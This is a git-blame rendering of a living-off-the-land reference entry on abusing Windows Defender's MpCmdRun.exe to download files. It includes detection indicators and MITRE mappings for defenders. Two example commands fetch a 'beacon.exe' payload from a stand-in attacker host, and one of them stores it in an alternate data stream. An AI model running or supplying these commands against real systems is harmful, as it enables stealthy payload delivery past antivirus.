2020-09-03 10:55:37 +02:00
|
|
|
---
|
|
|
|
|
Name: MpCmdRun.exe
|
|
|
|
|
Description: Binary part of Windows Defender. Used to manage settings in Windows Defender
|
|
|
|
|
Author: 'Oddvar Moe'
|
|
|
|
|
Created: '09/03/2020'
|
|
|
|
|
Commands:
|
|
|
|
|
- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
|
2020-09-03 17:46:25 +02:00
|
|
|
Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
|
2020-09-03 10:55:37 +02:00
|
|
|
Usecase: Download file
|
|
|
|
|
Category: Download
|
|
|
|
|
Privileges: User
|
|
|
|
|
MitreID: T1105
|
|
|
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1105
|
|
|
|
|
OperatingSystem: Windows 10
|
|
|
|
|
- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\nicefile.txt:evil.exe
|
|
|
|
|
Description: Download file to machine and store it in Alternate Data Stream
|
|
|
|
|
Usecase: Hide downloaded data inton an Alternate Data Stream
|
|
|
|
|
Category: ADS
|
|
|
|
|
Privileges: User
|
|
|
|
|
MitreID: T1096
|
|
|
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1096
|
|
|
|
|
OperatingSystem: Windows 10
|
|
|
|
|
Full_Path:
|
|
|
|
|
- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
|
|
|
|
|
- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
|
|
|
|
|
- Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
|
|
|
|
|
Code_Sample:
|
|
|
|
|
- Code:
|
|
|
|
|
Detection:
|
|
|
|
|
- IOC: MpCmdRun storing data into alternate data streams.
|
|
|
|
|
- IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected.
|
2020-09-03 15:29:32 +02:00
|
|
|
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
|
|
|
|
|
- IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
|
2020-09-03 16:39:24 +02:00
|
|
|
- IOC: User Agent is "MpCommunication"
|
2020-09-03 10:55:37 +02:00
|
|
|
Resources:
|
|
|
|
|
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
|
|
|
|
|
- Link: https://twitter.com/mohammadaskar2/status/1301263551638761477
|
2020-09-03 11:00:56 +02:00
|
|
|
- Link: https://twitter.com/Oddvarmoe/status/1301444858910052352
|
2020-09-03 15:29:32 +02:00
|
|
|
- Link: https://twitter.com/NotMedic/status/1301506813242867720
|
2020-09-03 10:55:37 +02:00
|
|
|
Acknowledgement:
|
|
|
|
|
- Person: Askar
|
|
|
|
|
Handle: '@mohammadaskar2'
|
|
|
|
|
- Person: Oddvar Moe
|
|
|
|
|
Handle: '@oddvarmoe'
|
2020-09-03 17:46:25 +02:00
|
|
|
- Person: RichRumble
|
|
|
|
|
Handle: ''
|
2020-09-03 10:55:37 +02:00
|
|
|
---
|
